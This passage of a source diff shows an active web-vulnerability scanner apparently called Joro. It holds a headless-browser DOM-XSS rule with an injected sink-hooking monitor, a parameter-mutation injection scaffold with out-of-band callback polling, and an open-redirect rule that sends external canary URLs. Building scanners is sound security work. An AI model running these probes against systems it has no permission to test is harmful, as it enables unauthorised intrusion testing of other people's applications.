"it is unaffected by CSP, and the canary never reaches the server — the flow is " +
"confirmed in the browser."
}
// hit is one sink report from the injected monitor.
type hit struct {
Sink string `json:"sink"`
Source string `json:"source"`
Channel string `json:"channel"`
Token string `json:"token"`
Value string `json:"value"`
URL string `json:"url"`
Stack string `json:"stack"`
}
// collector gathers monitor reports as they arrive on the CDP read loop.
type collector struct {
mu sync.Mutex
hits []hit
}
func (c *collector) add(h hit) {
c.mu.Lock()
c.hits = append(c.hits, h)
c.mu.Unlock()
}
// drain returns every hit received since it was last called.
func (c *collector) drain() []hit {
c.mu.Lock()
out := c.hits
c.hits = nil
c.mu.Unlock()
return out
}
// Run launches a dedicated headless browser, injects the monitor, and navigates
// each target URL with canaries, reporting confirmed flows.
func (r *Rule) Run(ctx context.Context, t activescan.Target, _ activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
if deps.CA == nil {
return fmt.Errorf("no CA available for the scan browser")
}
path, _, ok := browser.Find()
if !ok {
return fmt.Errorf("no Chromium-family browser found to drive the scan")
}
profileDir := filepath.Join(deps.DataDir, "browser-profiles", "__scan")
sess, err := browser.LaunchControlled(browser.LaunchOptions{
BrowserPath: path,
ProxyAddr: deps.ProxyAddr,
SPKIFingerprint: browser.SPKIFingerprint(deps.CA.Cert),
ProfileDir: profileDir,
Headless: true,
})
if err != nil {
return fmt.Errorf("launch scan browser: %w", err)
}
defer sess.Kill(true)
client, err := cdp.Connect(ctx, sess.DebugPort, connectTimeout)
if err != nil {
return err
}
defer client.Close()
col := &collector{}
loadCh := make(chan struct{}, 1)
client.On("Page.loadEventFired", func(json.RawMessage) {
select {
case loadCh <- struct{}{}:
default:
}
})
client.On("Runtime.bindingCalled", func(params json.RawMessage) {
var p struct {
Name string `json:"name"`
Payload string `json:"payload"`
}
if err := json.Unmarshal(params, &p); err != nil || p.Name != bindingName {
return
}
var h hit
if err := json.Unmarshal([]byte(p.Payload), &h); err == nil {
col.add(h)
}
})
if _, err := client.Send(ctx, "Page.enable", nil); err != nil {
return err
}
if _, err := client.Send(ctx, "Runtime.enable", nil); err != nil {
return err
}
if _, err := client.Send(ctx, "Runtime.addBinding", map[string]any{"name": bindingName}); err != nil {
return err
}
if _, err := client.Send(ctx, "Page.addScriptToEvaluateOnNewDocument", map[string]any{"source": monitorJS}); err != nil {
return err
}
for _, tu := range t.URLs {
if ctx.Err() != nil {
return ctx.Err()
}
// Only GET endpoints are navigable pages; a host target now also carries
// non-GET parametric requests for the injection rules, which this rule skips.
if tu.Method != "" && !strings.EqualFold(tu.Method, "GET") {
rep.Progress(1)
continue
}
scanURL(ctx, client, col, loadCh, t.Host, tu.URL, rep)
rep.Progress(1)
}
return nil
}
// scanURL plants canaries, navigates, waits for load plus a settle delay, and
// files any confirmed hits.
func scanURL(ctx context.Context, client *cdp.Client, col *collector, loadCh chan struct{}, host, rawURL string, rep activescan.Reporter) {
navURL, nameCanary := buildCanaryURL(rawURL)
if navURL == "" {
return
}
// window.name persists across the navigation, so set it first.
_, _ = client.Send(ctx, "Runtime.evaluate", map[string]any{
"expression": "window.name=" + jsString(nameCanary),
"returnByValue": true,
})
// Drop any stale load signal from a previous navigation.
select {
case <-loadCh:
default:
}
urlCtx, cancel := context.WithTimeout(ctx, perURLTimeout)
defer cancel()
if _, err := client.Send(urlCtx, "Page.navigate", map[string]any{"url": navURL}); err != nil {
return
}
// Wait for the load event (or the per-URL timeout), then give async sinks a
// moment after load to fire.
select {
case <-urlCtx.Done():
return
case <-loadCh:
}
select {
case <-urlCtx.Done():
case <-time.After(settleDelay):
}
seen := map[string]bool{}
for _, h := range col.drain() {
key := h.Source + "|" + h.Sink
if seen[key] {
continue
}
seen[key] = true
rep.Finding(finding(host, navURL, h))
}
}
// buildCanaryURL returns the URL to navigate, carrying a hash and query canary,
// plus the distinct window.name canary to set beforehand. It returns "" if the
// URL cannot be parsed.
func buildCanaryURL(rawURL string) (navURL, nameCanary string) {
u, err := url.Parse(rawURL)
if err != nil || u.Host == "" {
return "", ""
}
q := u.Query()
q.Set("joroqp", canary("q"))
u.RawQuery = q.Encode()
u.Fragment = canary("h")
return u.String(), canary("n")
}
// canary mints a per-source token the monitor recognizes: __joroDX_<channel>_<hex>.
func canary(channel string) string {
var b [6]byte
_, _ = rand.Read(b[:])
return "__joroDX_" + channel + "_" + hex.EncodeToString(b[:])
}
// finding builds the detect.Finding for a confirmed sink hit.
func finding(host, navURL string, h hit) detect.Finding {
now := time.Now()
path := navURL
if u, err := url.Parse(navURL); err == nil {
path = u.Path
}
evidence := fmt.Sprintf("%s reached %s (via %s)", h.Source, h.Sink, h.Channel)
if h.Stack != "" {
evidence += "\n" + firstLines(h.Stack, 6)
}
return detect.Finding{
ID: detect.FindingID(findingRule, host, h.Source+"|"+h.Sink+"|"+path),
RuleID: findingRule,
RuleName: "DOM-based XSS",
Category: detect.CategoryDOMXSS,
Severity: detect.SeverityHigh,
Confidence: detect.ConfidenceHigh,
Target: detect.TargetMessage,
Host: host,
Method: "GET",
URL: navURL,
Detail: h.Source + " reaches " + h.Sink,
Evidence: evidence,
FirstSeen: now,
LastSeen: now,
EvidenceOffset: -1,
}
}
// jsString encodes s as a JavaScript string literal for Runtime.evaluate.
func jsString(s string) string {
b, _ := json.Marshal(s)
return string(b)
}
// firstLines returns at most n lines of s.
func firstLines(s string, n int) string {
lines := strings.Split(s, "\n")
if len(lines) > n {
lines = lines[:n]
}
return strings.Join(lines, "\n")
}
+141
View File
@@ -0,0 +1,141 @@
// DOM XSS sink monitor, injected by internal/activescan/domxss via CDP's
// Page.addScriptToEvaluateOnNewDocument, so it runs before any page script and is
// not subject to the page's CSP.
//
// It wraps the dangerous DOM sinks and, whenever one receives a value containing
// a Joro canary token, reports the sink, the source channel the canary came from
// (hash / query / window.name) and a stack trace back to Go through the
// __joroDomXss binding. It never throws into the page.
(function () {
try {
var MARK = "__joroDX_";
var reported = {};
function channelSource(ch) {
if (ch === "h") return "location.hash";
if (ch === "q") return "location.search";
if (ch === "n") return "window.name";
return "unknown";
}
function scan(val, sink) {
if (val == null) return;
var s;
try { s = String(val); } catch (e) { return; }
if (s.indexOf(MARK) < 0) return;
var m = s.match(/__joroDX_([hqn])_([0-9a-f]+)/);
if (!m) return;
var channel = m[1];
var token = m[0];
var key = sink + "|" + channel + "|" + token;
if (reported[key]) return;
reported[key] = true;
var payload = {
sink: sink,
source: channelSource(channel),
channel: channel,
token: token,
value: s.length > 2000 ? s.slice(0, 2000) : s,
url: "",
stack: ""
};
try { payload.url = location.href; } catch (e) {}
try { payload.stack = (new Error()).stack || ""; } catch (e) {}
try { window.__joroDomXss(JSON.stringify(payload)); } catch (e) {}
}
function hookProp(proto, prop, sink) {
try {
var d = Object.getOwnPropertyDescriptor(proto, prop);
if (!d || !d.set) return;
var origSet = d.set;
Object.defineProperty(proto, prop, {
configurable: true,
enumerable: d.enumerable,
get: d.get,
set: function (v) { scan(v, sink); return origSet.call(this, v); }
});
} catch (e) {}
}
hookProp(Element.prototype, "innerHTML", "Element.innerHTML");
hookProp(Element.prototype, "outerHTML", "Element.outerHTML");
try {
var iah = Element.prototype.insertAdjacentHTML;
Element.prototype.insertAdjacentHTML = function (pos, html) {
scan(html, "insertAdjacentHTML");
return iah.apply(this, arguments);
};
} catch (e) {}
function hookDocWrite(name) {
try {
var orig = document[name];
document[name] = function () {
for (var i = 0; i < arguments.length; i++) scan(arguments[i], "document." + name);
return orig.apply(this, arguments);
};
} catch (e) {}
}
hookDocWrite("write");
hookDocWrite("writeln");
try {
var _eval = window.eval;
window.eval = function (code) { scan(code, "eval"); return _eval(code); };
} catch (e) {}
try {
var _Func = window.Function;
window.Function = function () {
for (var i = 0; i < arguments.length; i++) scan(arguments[i], "Function");
return _Func.apply(this, arguments);
};
} catch (e) {}
function hookTimer(name) {
try {
var orig = window[name];
window[name] = function (fn) {
if (typeof fn === "string") scan(fn, name + "(string)");
return orig.apply(this, arguments);
};
} catch (e) {}
}
hookTimer("setTimeout");
hookTimer("setInterval");
try {
var _setAttr = Element.prototype.setAttribute;
Element.prototype.setAttribute = function (name, value) {
try {
var n = ("" + name).toLowerCase();
if (n === "src" || n === "href" || n === "data" || n === "action" ||
n === "formaction" || n.indexOf("on") === 0) {
scan(value, "setAttribute(" + n + ")");
}
} catch (e) {}
return _setAttr.apply(this, arguments);
};
} catch (e) {}
function hookJQuery() {
try {
var jq = window.jQuery;
if (!jq || !jq.fn) return;
["html", "append", "prepend", "after", "before", "replaceWith"].forEach(function (mth) {
var orig = jq.fn[mth];
if (typeof orig !== "function") return;
jq.fn[mth] = function () {
for (var i = 0; i < arguments.length; i++) {
if (typeof arguments[i] === "string") scan(arguments[i], "jQuery." + mth);
}
return orig.apply(this, arguments);
};
});
} catch (e) {}
}
hookJQuery();
try { document.addEventListener("DOMContentLoaded", hookJQuery); } catch (e) {}
} catch (e) {}
})();
+32
View File
@@ -0,0 +1,32 @@
package inject
import "context"
// Drive iterates every parameter of every request, calling probe with the point
// and that request's baseline. It handles enumeration, per-request baselining,
// cancellation, and progress (one tick per request, matching the run's URL-based
// total). Finding-reporting stays in probe (this package does not import
// activescan), which is why probe takes no reporter.
func Drive(ctx context.Context, reqs [][]byte, s *Sender, progress func(delta int), probe func(ctx context.Context, p Point, base *Baseline)) {
for _, raw := range reqs {
if ctx.Err() != nil {
return
}
base, err := s.Baseline(ctx, raw)
if err != nil {
if progress != nil {
progress(1)
}
continue
}
for _, p := range Enumerate(raw) {
if ctx.Err() != nil {
return
}
probe(ctx, p, base)
}
if progress != nil {
progress(1)
}
}
}
+261
View File
@@ -0,0 +1,261 @@
// Package inject is the shared scaffold for the active injection-scanning rules
// (reflected XSS, SQLi, SSTI, command injection, open redirect, path traversal).
// It enumerates a request's injectable parameters, mutates one with a payload,
// sends the result through Joro's proxy, and exposes baseline/differential/timing
// and OAST helpers — so each rule is just a payload set plus a detector.
//
// Enumeration reuses internal/echo (the one parameter walker in the repo);
// mutation is name-aware per source (query/form/json/path) rather than relying on
// byte offsets, which echo computes only best-effort.
package inject
import (
"encoding/json"
"fmt"
"net/url"
"strconv"
"strings"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/echo"
"github.com/BishopFox/joro/internal/httptools"
"github.com/BishopFox/joro/internal/proxy"
)
// Point is an injectable parameter. It aliases echo.Value so rules speak echo's
// vocabulary (Source, Name, Value) without re-deriving it.
type Point = echo.Value
// Enumerate returns the injectable parameters of a raw request: query, path, form
// and JSON-body values. Headers, cookies and multipart parts are deliberately
// excluded to bound scan volume to the parameters that carry most injection.
func Enumerate(raw []byte) []Point {
if len(raw) == 0 {
return nil
}
// detect.Parse derives the URL/host/content-type from the CapturedRequest's
// fields, not the raw request line, so reconstruct them from the bytes.
host := headerValue(raw, "Host")
cr := &proxy.CapturedRequest{
ReqRaw: raw,
Host: host,
URL: reconstructURL(raw, host),
ContentType: headerValue(raw, "Content-Type"),
}
cfg := echo.DefaultConfig()
cfg.ScanHeaders = false // skip headers/cookies for injection fuzzing
vals := echo.Walk(detect.Parse(cr, echo.ParseConfig(cfg)), cfg)
out := vals[:0:0]
for _, v := range vals {
switch v.Source {
case echo.SourceQuery, echo.SourcePath, echo.SourceForm, echo.SourceJSON:
out = append(out, v)
}
}
return out
}
// Mutate produces a copy of raw with point p's value set to payload (or, when
// appendMode, the original value followed by payload). Content-Length is
// recomputed. An unsupported source returns an error so the caller skips the point.
func Mutate(raw []byte, p Point, payload string, appendMode bool) ([]byte, error) {
value := payload
if appendMode {
value = p.Value + payload
}
var out []byte
var err error
switch p.Source {
case echo.SourceQuery:
out, err = httptools.ApplyEdits(raw, []httptools.Edit{{Op: "setQuery", Name: p.Name, Value: value}})
case echo.SourcePath:
out, err = setPathSegment(raw, p.Name, value)
case echo.SourceForm:
out, err = setFormField(raw, p.Name, value)
case echo.SourceJSON:
out, err = setJSONField(raw, p.Name, value)
default:
return nil, fmt.Errorf("inject: unsupported source %q", p.Source)
}
if err != nil {
return nil, err
}
return httptools.UpdateContentLength(out), nil
}
// splitRequest separates the header block (through the blank line) from the body.
func splitRequest(raw []byte) (head, body []byte) {
if i := strings.Index(string(raw), "\r\n\r\n"); i >= 0 {
return raw[:i+4], raw[i+4:]
}
if i := strings.Index(string(raw), "\n\n"); i >= 0 {
return raw[:i+2], raw[i+2:]
}
return raw, nil
}
// setFormField re-encodes a urlencoded body with one field changed.
func setFormField(raw []byte, name, value string) ([]byte, error) {
head, body := splitRequest(raw)
vals, err := url.ParseQuery(string(body))
if err != nil {
return nil, err
}
vals.Set(name, value)
return append(append([]byte(nil), head...), []byte(vals.Encode())...), nil
}
// setPathSegment replaces the i-th path segment (echo names path values "[i]").
func setPathSegment(raw []byte, name, value string) ([]byte, error) {
idx, err := strconv.Atoi(strings.Trim(name, "[]"))
if err != nil {
return nil, fmt.Errorf("inject: bad path index %q", name)
}
line, rest, ok := firstLine(raw)
if !ok {
return nil, fmt.Errorf("inject: no request line")
}
method, target, version, ok := splitRequestLine(line)
if !ok {
return nil, fmt.Errorf("inject: bad request line")
}
path, query := target, ""
if q := strings.IndexByte(target, '?'); q >= 0 {
path, query = target[:q], target[q:]
}
segs := strings.Split(path, "/") // leading "" from the leading slash
seg := idx + 1 // echo indexes segments after the leading slash
if seg <= 0 || seg >= len(segs) {
return nil, fmt.Errorf("inject: path index %d out of range", idx)
}
segs[seg] = url.PathEscape(value)
newLine := method + " " + strings.Join(segs, "/") + query + " " + version
return append([]byte(newLine), rest...), nil
}
// setJSONField sets a leaf addressed by a dotted path with [i] indices.
func setJSONField(raw []byte, path, value string) ([]byte, error) {
head, body := splitRequest(raw)
var doc any
if err := json.Unmarshal(body, &doc); err != nil {
return nil, err
}
if err := setJSONPath(&doc, splitJSONPath(path), value); err != nil {
return nil, err
}
nb, err := json.Marshal(doc)
if err != nil {
return nil, err
}
return append(append([]byte(nil), head...), nb...), nil
}
// splitJSONPath breaks "a.b[0].c" into ["a","b","0","c"].
func splitJSONPath(p string) []string {
var out []string
for _, part := range strings.Split(p, ".") {
for {
b := strings.IndexByte(part, '[')
if b < 0 {
if part != "" {
out = append(out, part)
}
break
}
if b > 0 {
out = append(out, part[:b])
}
e := strings.IndexByte(part, ']')
if e < 0 {
break
}
out = append(out, part[b+1:e])
part = part[e+1:]
}
}
return out
}
// setJSONPath walks segs into the decoded doc and sets the leaf to value (as a
// string, matching how the application most commonly receives injected input).
func setJSONPath(doc *any, segs []string, value string) error {
if len(segs) == 0 {
*doc = value
return nil
}
seg := segs[0]
switch node := (*doc).(type) {
case map[string]any:
child := node[seg]
if err := setJSONPath(&child, segs[1:], value); err != nil {
return err
}
node[seg] = child
return nil
case []any:
i, err := strconv.Atoi(seg)
if err != nil || i < 0 || i >= len(node) {
return fmt.Errorf("inject: bad json index %q", seg)
}
child := node[i]
if err := setJSONPath(&child, segs[1:], value); err != nil {
return err
}
node[i] = child
return nil
default:
return fmt.Errorf("inject: json path does not resolve at %q", seg)
}
}
// reconstructURL builds an absolute URL from the request line's target and the Host
// header, so detect.Parse can extract the path and query. The scheme is irrelevant
// to parameter enumeration.
func reconstructURL(raw []byte, host string) string {
line, _, ok := firstLine(raw)
if !ok {
return ""
}
_, target, _, ok := splitRequestLine(line)
if !ok {
return ""
}
if host == "" {
host = "placeholder"
}
if strings.HasPrefix(target, "http://") || strings.HasPrefix(target, "https://") {
return target
}
return "http://" + host + target
}
// headerValue returns the first value of header name (case-insensitive) from the
// request's header block.
func headerValue(raw []byte, name string) string {
head, _ := splitRequest(raw)
lower := strings.ToLower(name) + ":"
for _, ln := range strings.Split(string(head), "\n") {
ln = strings.TrimRight(ln, "\r")
if strings.HasPrefix(strings.ToLower(ln), lower) {
return strings.TrimSpace(ln[len(lower):])
}
}
return ""
}
func firstLine(raw []byte) (line string, rest []byte, ok bool) {
i := strings.IndexByte(string(raw), '\n')
if i < 0 {
return "", nil, false
}
line = strings.TrimRight(string(raw[:i]), "\r")
return line, raw[i:], true
}
func splitRequestLine(line string) (method, target, version string, ok bool) {
parts := strings.Fields(line)
if len(parts) != 3 {
return "", "", "", false
}
return parts[0], parts[1], parts[2], true
}
+66
View File
@@ -0,0 +1,66 @@
package inject
import (
"context"
"time"
"github.com/BishopFox/joro/internal/callback"
)
// OASTAvailable reports whether out-of-band testing can run: a callback store with
// a configured domain. When false, rules skip their OAST vectors rather than emit a
// payload to an unresolvable domain — OAST is disabled unless a listener/team
// server provides a callback domain.
func OASTAvailable(store *callback.Store) bool {
if store == nil {
return false
}
cfg, err := store.GetConfig()
return err == nil && cfg != nil && cfg.Domain != ""
}
// OAST mints callback tokens and polls for interactions, for blind detection.
type OAST struct {
store *callback.Store
domain string
}
// NewOAST returns an OAST helper, or nil when OAST is unavailable (caller skips).
func NewOAST(store *callback.Store) *OAST {
if !OASTAvailable(store) {
return nil
}
cfg, _ := store.GetConfig()
return &OAST{store: store, domain: cfg.Domain}
}
// Token mints a correlation token and returns it with the callback hostname to
// weave into a payload (`<token>.<domain>`).
func (o *OAST) Token(note string) (tokenID, host string, err error) {
tok, err := callback.GenerateToken(o.store, note)
if err != nil {
return "", "", err
}
return tok.ID, tok.Token + "." + o.domain, nil
}
// Fired polls the callback store until an interaction for tokenID appears or the
// window elapses, respecting ctx. It returns true on the first hit.
func (o *OAST) Fired(ctx context.Context, tokenID string, window time.Duration) bool {
deadline := time.Now().Add(window)
ticker := time.NewTicker(1 * time.Second)
defer ticker.Stop()
for {
if items, _, err := o.store.ListInteractions(tokenID, 0, 1); err == nil && len(items) > 0 {
return true
}
if time.Now().After(deadline) {
return false
}
select {
case <-ctx.Done():
return false
case <-ticker.C:
}
}
}
+97
View File
@@ -0,0 +1,97 @@
package inject
import (
"context"
"time"
"github.com/BishopFox/joro/internal/httptools"
)
// maxRespBytes is the response body an injection detector needs — enough to match
// an error string, a rendered expression, or file contents.
const maxRespBytes = 1 << 20
// Sender sends mutated requests through Joro's proxy and fingerprints the result.
// It takes httptools.SendDeps directly (not activescan.RuleDeps) so this package
// does not import activescan — the rules build SendDeps from their RuleDeps.
type Sender struct {
deps httptools.SendDeps
scheme string
host string
timeout time.Duration
}
// NewSender wires a sender for one target host.
func NewSender(deps httptools.SendDeps, scheme, host string, timeout time.Duration) *Sender {
if deps.MaxRespBytes == 0 {
deps.MaxRespBytes = maxRespBytes
}
return &Sender{deps: deps, scheme: scheme, host: host, timeout: timeout}
}
// Result is one send's outcome: the raw and parsed response, status, wall-clock
// duration, and a structural fingerprint for differential comparison.
type Result struct {
RawReq []byte
RespRaw []byte
Resp httptools.Response
Status int
DurationMs int64
Fingerprint httptools.Fingerprint
URL string
Method string
}
// Send sends one raw request and returns the fingerprinted result.
func (s *Sender) Send(ctx context.Context, raw []byte) (*Result, error) {
reqCtx, cancel := context.WithTimeout(ctx, s.timeout)
defer cancel()
sent, err := httptools.SendViaProxy(reqCtx, raw, s.scheme, s.host, s.deps)
if err != nil {
return nil, err
}
return &Result{
RawReq: raw,
RespRaw: sent.RespRaw,
Resp: httptools.ReadResponse(sent.RespRaw),
Status: sent.StatusCode,
DurationMs: sent.Duration.Milliseconds(),
Fingerprint: httptools.FingerprintResponse(sent.Seq, sent.RespRaw, sent.Duration.Milliseconds(), false),
URL: sent.URL,
Method: sent.Method,
}, nil
}
// Baseline is the unmodified request's response plus a timing floor used to judge
// time-based injections.
type Baseline struct {
Result
// FloorMs is the smaller of two baseline round-trips — a jitter-resistant
// estimate of the endpoint's normal latency.
FloorMs int64
}
// Baseline sends the original request twice and records the structural fingerprint
// plus the latency floor.
func (s *Sender) Baseline(ctx context.Context, raw []byte) (*Baseline, error) {
r1, err := s.Send(ctx, raw)
if err != nil {
return nil, err
}
floor := r1.DurationMs
if r2, err := s.Send(ctx, raw); err == nil && r2.DurationMs < floor {
floor = r2.DurationMs
}
return &Baseline{Result: *r1, FloorMs: floor}, nil
}
// SameStructure reports whether two responses are the same page ignoring volatile
// content (nonces, timestamps) — the boolean oracle for boolean-based SQLi.
func SameStructure(a, b httptools.Fingerprint) bool { return a.StructHash == b.StructHash }
// LooksDelayed reports whether elapsed indicates an injected delay of at least
// delayMs relative to the baseline floor. The 0.8 factor tolerates the payload
// running slightly short while rejecting ordinary jitter.
func LooksDelayed(elapsedMs, floorMs, delayMs int64) bool {
return elapsedMs-floorMs >= delayMs*8/10
}
+127
View File
@@ -0,0 +1,127 @@
package injkit
import (
"context"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/inject"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/httptools"
)
// SameStructure and LooksDelayed re-export the inject differential/timing helpers so
// a rule imports only injkit.
func SameStructure(a, b httptools.Fingerprint) bool { return inject.SameStructure(a, b) }
func LooksDelayed(elapsedMs, floorMs, delayMs int64) bool {
return inject.LooksDelayed(elapsedMs, floorMs, delayMs)
}
// Check is one named, toggleable detection within an injection rule — the catalog
// row the operator sees. Metadata is static (so checks are package-level vars); the
// probe takes its run context as a parameter rather than closing over it.
type Check struct {
ID string
Name string
Severity detect.Severity
Description string
// Payloads are shown in the catalog detail; the probe is free to derive more.
Payloads []string
// RequiresOAST marks a check that only runs with a callback listener configured.
RequiresOAST bool
Probe func(pc ProbeCtx)
}
// ProbeCtx bundles everything a check's probe needs for one insertion point.
type ProbeCtx struct {
Ctx context.Context
Send *inject.Sender
OAST *inject.OAST // nil when OAST is unavailable or opted out
Host string
Point inject.Point
Base *inject.Baseline
// File mints a finding for this point; Host/Method/URL are filled in for you.
File func(sev detect.Severity, detail, evidence, url string)
}
// Inject mutates the point's value with payload (append or replace) and sends the
// result, returning nil on any mutation/send error so a probe can keep going.
func (pc ProbeCtx) Inject(payload string, appendMode bool) *inject.Result {
mut, err := inject.Mutate(pc.Base.RawReq, pc.Point, payload, appendMode)
if err != nil {
return nil
}
res, err := pc.Send.Send(pc.Ctx, mut)
if err != nil {
return nil
}
return res
}
// Catalog builds the catalog items for a rule's checks, reflecting the disabled set.
func Catalog(checks []Check, disabled *activescan.DisabledSet, oastAvailable bool) []activescan.CatalogItem {
out := make([]activescan.CatalogItem, 0, len(checks))
for _, c := range checks {
detail := []activescan.CatalogField{{Label: "Detection", Value: c.Name}}
if len(c.Payloads) > 0 {
detail = append(detail, activescan.CatalogField{Label: "Payloads", Value: strings.Join(c.Payloads, "\n")})
}
if c.RequiresOAST {
avail := "requires a configured callback listener"
if oastAvailable {
avail = "callback listener configured"
}
detail = append(detail, activescan.CatalogField{Label: "Out-of-band", Value: avail})
}
out = append(out, activescan.CatalogItem{
ID: c.ID,
Name: c.Name,
Severity: string(c.Severity),
Confidence: string(detect.ConfidenceHigh),
Target: string(detect.TargetMessage),
Description: c.Description,
Enabled: disabled.IsItemEnabled(c.ID),
Detail: detail,
})
}
return out
}
// RunChecks drives the standard injection loop for a rule: it builds the sender and
// (unless opted out) the OAST helper, then for every parameter of every request runs
// each enabled check's probe. Finding-reporting goes through the probe's File helper.
func RunChecks(
ctx context.Context,
t activescan.Target,
cfg activescan.Config,
deps activescan.RuleDeps,
rep activescan.Reporter,
checks []Check,
disabled *activescan.DisabledSet,
findingRule string,
category detect.Category,
name string,
) {
send := Sender(deps, t)
oast := OAST(deps)
if cfg.NoOAST {
oast = nil
}
enabled := make([]Check, 0, len(checks))
for _, c := range checks {
if disabled.IsItemEnabled(c.ID) {
enabled = append(enabled, c)
}
}
inject.Drive(ctx, Requests(t), send, rep.Progress, func(ctx context.Context, p inject.Point, base *inject.Baseline) {
for _, c := range enabled {
if ctx.Err() != nil {
return
}
file := func(sev detect.Severity, detail, evidence, url string) {
rep.Finding(Finding(findingRule, category, sev, name, t.Host, base.Method, url, p.Key(), detail, evidence))
}
c.Probe(ProbeCtx{Ctx: ctx, Send: send, OAST: oast, Host: t.Host, Point: p, Base: base, File: file})
}
})
}
+97
View File
@@ -0,0 +1,97 @@
// Package injkit adapts the activescan framework to the inject library: it builds a
// sender/OAST/request-list from a rule's Target and RuleDeps and mints findings, so
// each injection rule stays a payload set plus a detector. It imports both
// activescan and inject (activescan imports neither, so there is no cycle).
package injkit
import (
"net/url"
"strings"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/inject"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/httptools"
)
// PerReqTimeout bounds one probe send. It sits above the time-based payloads'
// sleep interval so a genuine delay is observed rather than cut off.
const PerReqTimeout = 20 * time.Second
// Sender builds an inject.Sender for the target from a rule's deps.
func Sender(d activescan.RuleDeps, t activescan.Target) *inject.Sender {
return inject.NewSender(
httptools.SendDeps{ProxyAddr: d.ProxyAddr, CA: d.CA, Store: d.Store},
t.Scheme, t.Host, PerReqTimeout,
)
}
// OAST returns an OAST helper, or nil when no callback domain is configured (the
// caller then skips its OAST vectors).
func OAST(d activescan.RuleDeps) *inject.OAST { return inject.NewOAST(d.Callback) }
// Requests returns the raw request bytes to fuzz: each target URL's captured bytes,
// synthesizing a bare GET when a URL carries none.
func Requests(t activescan.Target) [][]byte {
var out [][]byte
for _, u := range t.URLs {
if len(u.RawReq) > 0 {
out = append(out, u.RawReq)
continue
}
if raw := synthGET(u.URL, t.Host); raw != nil {
out = append(out, raw)
}
}
return out
}
func synthGET(rawURL, host string) []byte {
u, err := url.Parse(rawURL)
if err != nil || u.Path == "" {
return nil
}
target := u.Path
if u.RawQuery != "" {
target += "?" + u.RawQuery
}
h := host
if u.Host != "" {
h = u.Host
}
return []byte("GET " + target + " HTTP/1.1\r\nHost: " + h + "\r\nConnection: close\r\n\r\n")
}
// Finding builds a detect.Finding in detect's identity space, deduped per
// (rule, host, parameter+path) so one vulnerable parameter is one finding.
func Finding(ruleID string, cat detect.Category, sev detect.Severity, name, host, method, probeURL, param, detail, evidence string) detect.Finding {
now := time.Now()
return detect.Finding{
ID: detect.FindingID(ruleID, host, param+"|"+pathOf(probeURL)),
RuleID: ruleID,
RuleName: name,
Category: cat,
Severity: sev,
Confidence: detect.ConfidenceHigh,
Target: detect.TargetMessage,
Host: host,
Method: method,
URL: probeURL,
Detail: detail,
Evidence: evidence,
FirstSeen: now,
LastSeen: now,
EvidenceOffset: -1,
}
}
func pathOf(u string) string {
if parsed, err := url.Parse(u); err == nil && parsed.Path != "" {
return parsed.Path
}
if i := strings.IndexByte(u, '?'); i >= 0 {
return u[:i]
}
return u
}
@@ -0,0 +1,99 @@
// Package openredirect is the active open-redirect rule. Each check replaces the
// parameter with an external canary URL and confirms a redirect to that host via the
// Location header or an in-body meta/JS redirect.
package openredirect
import (
"context"
"crypto/rand"
"encoding/hex"
"regexp"
"strings"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
)
const (
ruleID = "openredirect"
findingRule = "activescan.openredirect"
)
func payloads(canary string) []string {
return []string{"https://" + canary + "/", "//" + canary + "/"}
}
var checks = []injkit.Check{
{
ID: "location", Name: "Location header", Severity: detect.SeverityMedium,
Description: "Injects an external URL and reports when a 3xx Location header points to it.",
Payloads: []string{"https://<canary>/", "//<canary>/"},
Probe: locationHeader,
},
{
ID: "body", Name: "Body meta/JS redirect", Severity: detect.SeverityMedium,
Description: "Injects an external URL and reports when the body redirects to it (meta refresh or window.location).",
Payloads: []string{"https://<canary>/", "//<canary>/"},
Probe: bodyRedirect,
},
}
var bodyRedirectRe = regexp.MustCompile(`(?i)(?:http-equiv=["']?refresh|location\.(?:href|replace|assign)|window\.location)`)
type Rule struct{ *activescan.DisabledSet }
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
func (*Rule) ID() string { return ruleID }
func (*Rule) Name() string { return "Open redirect" }
func (*Rule) Category() detect.Category { return detect.CategoryOpenRedirect }
func (*Rule) Description() string {
return "Replaces each parameter with an external canary URL and reports when the response " +
"redirects to that host — via the Location header on a 3xx or an in-body meta/JavaScript " +
"redirect — indicating an unvalidated redirect."
}
func (r *Rule) CatalogItems() []activescan.CatalogItem {
return injkit.Catalog(checks, r.DisabledSet, false)
}
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryOpenRedirect, "Open redirect")
return nil
}
func locationHeader(pc injkit.ProbeCtx) {
canary := "joro-redir-" + randHex(5) + ".example"
for _, pl := range payloads(canary) {
res := pc.Inject(pl, false)
if res == nil {
continue
}
loc := res.Resp.Header.Get("Location")
if res.Status >= 300 && res.Status < 400 && strings.Contains(loc, canary) {
pc.File(detect.SeverityMedium, "open redirect in "+pc.Point.Name+" (Location header)", "Location: "+loc, res.URL)
return
}
}
}
func bodyRedirect(pc injkit.ProbeCtx) {
canary := "joro-redir-" + randHex(5) + ".example"
for _, pl := range payloads(canary) {
res := pc.Inject(pl, false)
if res == nil {
continue
}
if strings.Contains(string(res.Resp.Body), canary) && bodyRedirectRe.Match(res.Resp.Body) {
pc.File(detect.SeverityMedium, "open redirect in "+pc.Point.Name+" (body redirect)", "response body redirects to "+canary, res.URL)
return
}
}
}
func randHex(n int) string {
b := make([]byte, n)
_, _ = rand.Read(b)
return hex.EncodeToString(b)
}
@@ -0,0 +1,82 @@
// Package pathtraversal is the active path-traversal / LFI rule. Each check replaces
// the parameter with traversal payloads for one target file and confirms when the
// response returns that file's contents.
package pathtraversal
import (
"context"
"regexp"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/injkit"
"github.com/BishopFox/joro/internal/detect"
)
const (
ruleID = "pathtraversal"
findingRule = "activescan.pathtraversal"
)
var (
